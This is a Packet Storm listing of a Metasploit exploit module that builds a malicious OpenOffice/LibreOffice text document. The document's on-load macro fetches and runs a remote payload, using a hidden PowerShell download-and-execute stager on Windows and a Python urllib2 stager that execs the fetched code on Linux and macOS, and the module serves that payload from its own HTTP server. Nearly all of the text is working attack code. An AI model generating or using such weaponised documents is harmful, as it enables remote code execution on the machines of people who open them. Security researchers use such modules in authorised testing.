Lucene search

K
packetstormSinn3rPACKETSTORM:141001
HistoryFeb 10, 2017 - 12:00 a.m.

Apache OpenOffice Text Document Malicious Macro Execution

2017-02-1000:00:00
sinn3r
packetstormsecurity.com
51
`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
require 'rex/zip'  
require 'cgi'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::Powershell  
include Msf::Exploit::Remote::HttpServer  
  
WINDOWSGUI = 'windows'  
OSXGUI = 'osx'  
LINUXGUI = 'linux'  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Apache OpenOffice Text Document Malicious Macro Execution",  
'Description' => %q{  
This module generates an Apache OpenOffice Text Document with a malicious macro in it.  
To exploit successfully, the targeted user must adjust the security level in Macro  
Security to either Medium or Low. If set to Medium, a prompt is presented to the user  
to enable or disable the macro. If set to Low, the macro can automatically run without  
any warning.  
  
The module also works against LibreOffice.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'sinn3r' # Metasploit  
],  
'References' =>  
[  
['URL', 'https://en.wikipedia.org/wiki/Macro_virus']  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
'DisablePayloadHandler' => false  
},  
'Targets' =>  
[  
[  
'Apache OpenOffice on Windows (PSH)', {  
'Platform' => 'win',  
'Arch' => [ARCH_X86, ARCH_X64]  
}],  
[  
'Apache OpenOffice on Linux/OSX (Python)', {  
'Platform' => 'python',  
'Arch' => ARCH_PYTHON  
}]  
],  
'Privileged' => false,  
'DisclosureDate' => "Feb 8 2017"  
))  
  
register_options([  
OptString.new("BODY", [false, 'The message for the document body', '']),  
OptString.new('FILENAME', [true, 'The OpoenOffice Text document name', 'msf.odt'])  
], self.class)  
end  
  
  
def on_request_uri(cli, req)  
print_status("Sending payload")  
  
if target.name =~ /PSH/  
p = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true, exec_in_place: true)  
else  
p = payload.encoded  
end  
  
send_response(cli, p, 'Content-Type' => 'application/octet-stream')  
end  
  
  
def primer  
print_status("Generating our odt file for #{target.name}...")  
path = File.join(Msf::Config.install_root, 'data', 'exploits', 'openoffice_document_macro')  
docm = package_odt(path)  
file_create(docm)  
end  
  
  
def get_windows_stager  
%Q|Shell("cmd.exe /C ""#{generate_psh_stager}""")|  
end  
  
  
def get_unix_stager  
%Q|Shell("#{generate_python_stager}")|  
end  
  
  
def generate_psh_stager  
@windows_psh_stager ||= lambda {  
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl  
download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(get_uri)  
download_and_run = "#{ignore_cert}#{download_string}"  
generate_psh_command_line(  
noprofile: true,  
windowstyle: 'hidden',  
command: download_and_run)  
}.call  
end  
  
  
def generate_python_stager  
@python_stager ||= lambda {  
%Q|python -c ""import urllib2; r = urllib2.urlopen('#{get_uri}'); exec(r.read());""|  
}.call  
end  
  
  
def get_statger  
case target.name  
when /PSH/  
get_windows_stager  
when /Python/  
get_unix_stager  
end  
end  
  
  
# This macro code has the following in mind:  
# 1. It checks the platform to eliminate less misfires. Since we have only tested on Windows/Linux/OSX,  
# we only want to fire at those.  
# 2. Originally, I tried to embed the payload in the macro code, write it out and then execute it.  
# This turned out to be problematic, because for some reason OpenOffice is not able to  
# write a large string to a file (I've tried either shell("echo") or using the macro API).  
# The stager code is similar to web_delivery.  
def macro_code  
CGI.escapeHTML(%Q|  
Sub OnLoad  
Dim os as string  
os = GetOS  
If os = "#{WINDOWSGUI}" OR os = "#{OSXGUI}" OR os = "#{LINUXGUI}" Then  
Exploit  
end If  
End Sub  
  
Sub Exploit  
#{get_statger}  
End Sub  
  
Function GetOS() as string  
select case getGUIType  
case 1:  
GetOS = "#{WINDOWSGUI}"  
case 3:  
GetOS = "#{OSXGUI}"  
case 4:  
GetOS = "#{LINUXGUI}"  
end select  
End Function  
  
Function GetExtName() as string  
select case GetOS  
case "#{WINDOWSGUI}"  
GetFileName = "exe"  
case else  
GetFileName = "bin"  
end select  
End Function  
|)  
end  
  
def on_file_read(short_fname, full_fname)  
buf = File.read(full_fname)  
  
case short_fname  
when /content\.xml/  
buf.gsub!(/DOCBODYGOESHER/, datastore['BODY'])  
when /Module1\.xml/  
buf.gsub!(/CODEGOESHERE/, macro_code)  
end  
  
yield short_fname, buf  
end  
  
  
def package_odt(path)  
zip = Rex::Zip::Archive.new  
  
Dir["#{path}/**/**"].each do |file|  
p = file.sub(path+'/','')  
  
if File.directory?(file)  
print_status("Packaging directory: #{file}")  
zip.add_file(p)  
else  
on_file_read(p, file) do |fname, buf|  
print_status("Packaging file: #{fname}")  
zip.add_file(fname, buf)  
end  
end  
end  
  
zip.pack  
end  
  
  
def exploit  
super  
end  
  
end  
`